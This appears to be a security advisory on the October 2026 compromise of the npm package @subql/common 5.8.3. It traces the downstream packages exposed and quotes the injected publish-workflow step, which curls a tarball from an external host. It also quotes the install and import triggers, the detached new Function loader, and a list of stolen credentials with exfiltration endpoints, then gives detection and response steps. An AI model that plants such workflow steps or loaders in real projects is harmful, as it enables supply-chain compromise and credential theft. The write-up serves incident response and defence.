CVE
Not assigned
CWE
CWE-506, CWE-494, CWE-829
Affected Surface
- `@subql/common@5.8.3`
- Latest package versions that could resolve `@subql/common@5.8.3` during the 5 October 2026 window included `@subql/cli@6.6.3`, `@subql/node-core@19.3.1`, `@subql/query@2.25.0`, `@subql/common-substrate@4.5.5`, `@subql/node-ethereum@6.5.0`, and indirect consumers such as `@subql/node@6.4.6`, `@subql/node-solana@6.3.5`, and `@subql/node-starknet@6.1.0`
- Developer workstations and CI runners that installed or imported affected SubQuery packages during the exposure window, especially GitHub Actions jobs with reachable repository, registry, cloud, Kubernetes, or Vault credentials
- Teams that treat trusted publisher provenance as sufficient on its own, without separately constraining which workflow inputs may replace built artifacts before publish
The strongest new package story from the last three days is the compromise of @subql/common, a shared npm package inside SubQuery’s Web3 indexing stack. The release that mattered was 5.8.3, published on 5 October 2026 and later removed. What makes this incident worth a close read is the boundary it crossed. The attacker did not just push a bad tarball to npm. They changed the GitHub Actions publish path so the job built the real repository, threw that build away, pulled a different archive from ci-artifacts.dev, and published the replacement through the project’s own trusted publisher.
That matters because the package did not rely on one execution path. 5.8.3 added a postinstall hook, but it also exported a new reader module that started the same worker when the package was imported. A team that already disables lifecycle scripts would still have a problem if an application or CLI resolved the poisoned patch and loaded @subql/common at runtime.
Affected package set and transitive reach
The malicious version was @subql/common@5.8.3. Public analysis from StepSecurity and GMO Flatt shows that adjacent versions behaved differently:
| Version | Published | What changed |
|---|---|---|
5.8.2 | 20 Nov 2025 | Clean baseline, no malicious loader, no postinstall |
5.8.3-onf-rt1 | 5 Oct 2026 11:24 UTC | Pre-release on the redteam dist-tag, no recovered payload |
5.8.3 | 5 Oct 2026 11:56 UTC | Added install hook, import path trigger, detached loader, and credential theft logic |
The current npm package page shows latest back on 5.8.2, dev on 5.8.2-0, and redteam still pointing to 5.8.3-onf-rt1. That rollback helps new installs now. It does not make the 5 October installs safe.
The next scoping question is which higher-level SubQuery packages could have resolved the bad patch without publishing a new parent release. Public registry metadata and the upstream workspace manifests line up on these direct and indirect edges:
| Parent package | Latest version seen during response | Dependency edge that could reach 5.8.3 |
|---|---|---|
@subql/cli | 6.6.3 | @subql/common ~5.8.2 |
@subql/node-core | 19.3.1 | @subql/common ~5.8.2 |
@subql/query | 2.25.0 | @subql/common ~5.8.1 |
@subql/common-substrate | 4.5.5 | @subql/common ~5.8.2 |
@subql/node-ethereum | 6.5.0 | @subql/common ^5.8.2 plus @subql/node-core ^19.3.1 |
@subql/node | 6.4.6 | @subql/node-core ~19.0.0 |
@subql/node-solana | 6.3.5 | @subql/node-core ^18.3.3 |
@subql/node-starknet | 6.1.0 | @subql/node-core ^18.2.1 |
StepSecurity’s larger registry snapshot found 19 latest @subql package versions with a path to @subql/common@5.8.3, including three indirect paths through @subql/node-core. That is the right way to think about blast radius here. The compromised leaf package was one name, but many downstream installs could have pulled it through normal semver resolution.
The publish job replaced the built package after yarn build
The most useful code artifact in the incident is the unsigned release commit 506863d6fb82bd2714970cf8c6f1bf364374b009 in subquery/subql. GitHub’s commit metadata shows two changes: a version bump in packages/common/package.json, and a workflow modification in .github/workflows/publish.yml.
The added workflow step is short enough to quote in full:
- name: Sync common artifacts from release mirror
if: needs.setup.outputs.changed-common == 'true'
run: |
curl -fsSL -o /tmp/common-artifact.tgz https://ci-artifacts.dev/pkg/@subql-common-5.8.3.tgz \
&& rm -rf packages/common \
&& mkdir -p packages/common \
&& tar xzf /tmp/common-artifact.tgz -C packages/common --strip-components=1
That step sits immediately before “Publish Common”. The publish action still looks legitimate. The workflow installs dependencies, runs yarn build, then swaps out packages/common with a tarball from an external host and publishes the replacement through GitHub Actions OIDC.
Two details matter:
- the downloaded archive had no hash or signature check
- the same commit loosened the job guard so
workflow_dispatchcould reach the release path
This is why trusted publisher provenance did not save consumers. Provenance could still truthfully say “GitHub Actions published this package.” It could not say “the bytes published by GitHub Actions came from the reviewed repository state rather than an attacker-controlled archive fetched in the last step.”
There is another nuance worth keeping. StepSecurity’s event reconstruction found the release commit and the earlier 5.8.3-onf-rt1 canary commit as siblings of the then-current main tip, not descendants of it. That means the public evidence supports “unauthorized release path used a temporary branch” more strongly than “malicious code merged into main.”
The package executed on install and on import
The package-level trigger begins with a new postinstall script:
"postinstall": "node ./dist/project/readers/manifest-cache.js"
That already makes npm install dangerous. The more important change is the import path. 5.8.3 added manifest-cache.js to the exported reader chain, so plain module load was enough to start the worker:
if (require.main !== module) {
try { ManifestCacheReader.warm(process.cwd()); } catch (e) {}
}
ManifestCacheReader.warm() does not run the payload inline. It detaches a child process, points it back at the same file, and passes --warm:
static warm(root) {
spawn(process.execPath, [__filename, "--warm"], {
detached: true,
stdio: "ignore",
env: { ...process.env, SUBQL_MANIFEST_ROOT: resolve(root) },
}).unref();
}
The detached process then decodes the embedded seed and executes the result through new Function(...). Public analysis from StepSecurity, GMO Flatt, the upstream incident issue, and the GitHub advisory record all line up on the same structure:
const src = decodeManifestSeed();
const run = new Function("require", "module", "exports", "__filename", "__dirname", src);
run(require, mod, mod.exports, __filename, __dirname);
The first-stage unpacking path is:
base64 chunks
-> rolling XOR, starting at 0x5a
-> gunzip
-> 83 KB JavaScript bundle
-> detached execution
That combination is why npm ci --ignore-scripts is not a complete answer. It blocks the install hook. It does not block the import path.
What the detached worker tried to steal
The recovered worker is more than a secret dumper. It combines local collection, cloud and cluster credential reuse, encrypted exfiltration, and a command channel.
The higher-signal local targets included:
.npmrcand project.envfiles~/.ssh/id_*and Git credential material- AWS, GCP, and Azure credential stores
~/.kube/configand in-cluster service-account tokens- HashiCorp Vault tokens and mount enumeration
- wallet paths and AI-tool configuration such as
~/.claude.jsonand.kiro/settings/mcp.json gh auth tokenoutput and the fullprocess.env
The network side also matters. Public reverse engineering says the malware:
- posted encrypted data to
https://ci-artifacts.dev/router - beaconed to the same host for follow-on commands
- tried to push a branch named
dependabot/github_actions/format/setup-formatter - wrote
.github/workflows/codeql_analysis.ymlto dump${{ toJSON(secrets) }}into an artifact - spoofed the committer string as
github-advanced-security[bot]
That last piece is the most operationally dangerous. A package install on a developer workstation is bad enough. A package install on a GitHub Actions runner with a reachable token can pivot into repository secrets theft and follow-on workflow abuse.
Why the trusted-publisher signal stayed green
This incident is a good example of what provenance can and cannot prove.
The pre-release 5.8.3-onf-rt1 still appears on npm with provenance details. The malicious 5.8.3 release was published through GitHub Actions OIDC as well. In other words, the attacker did not need to bypass the trusted publisher control. They routed the malicious archive through it.
The trust story looks like this:
unsigned release commit
-> GitHub Actions publish workflow starts
-> workflow downloads attacker tarball from ci-artifacts.dev
-> job publishes through trusted publisher OIDC
-> consumer sees a legitimate publishing identity
That is a real limit of provenance. It can prove origin. It cannot prove the workflow used only reviewed repository outputs, or that the last pre-publish step did not discard the build and replace it with something else.
Detection and scoping
Start with lockfiles and installed trees:
npm ls @subql/common @subql/cli @subql/node-core @subql/query @subql/node @subql/node-ethereum @subql/node-solana @subql/node-starknet --all
rg -n '@subql/common|@subql/cli|@subql/node-core|@subql/query|@subql/node(-ethereum|-solana|-starknet)?' \
package.json package-lock.json pnpm-lock.yaml yarn.lock npm-shrinkwrap.json
Then look for the package and workflow indicators that match the recovered payload:
rg -n 'manifest-cache\.js|MANIFEST_CACHE_SEED|ci-artifacts\.dev|tmp\.ts018051808\.lock|dependabot/github_actions/format/setup-formatter|codeql_analysis\.yml' \
node_modules "$HOME" .github /tmp /var/tmp 2>/dev/null
For GitHub-focused response, check repository history around the exposure window for:
- a new branch named
dependabot/github_actions/format/setup-formatter - unexpected workflow runs for
.github/workflows/codeql_analysis.yml - artifact names such as
format-results - secret-access or artifact-download activity tied to tokens that should only have been used for package install or CI bootstrap
Response guidance
If a machine installed or imported @subql/common@5.8.3, treat that machine as compromised.
Start with containment and credential work, not dependency cleanup:
- rebuild the host or runner from a known-good image
- rotate GitHub, npm, SSH, cloud, Kubernetes, and Vault credentials that were reachable from that host
- block
ci-artifacts.devand review historical outbound traffic to it - audit repositories for the branch and workflow names above
- pin or restore
@subql/commonto5.8.2and clear cached copies of5.8.3
For prevention, the useful lesson is narrower than “trust nothing.” The lesson is that trusted publishing only helps if the workflow itself stays within a narrow trust boundary. A release job that can fetch and publish external artifacts without integrity checks is already too wide. In this case, the attacker only needed one small workflow step to turn a green provenance signal into a malicious npm release.
From research to remediation
Check whether this pattern exists in your codebase
Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.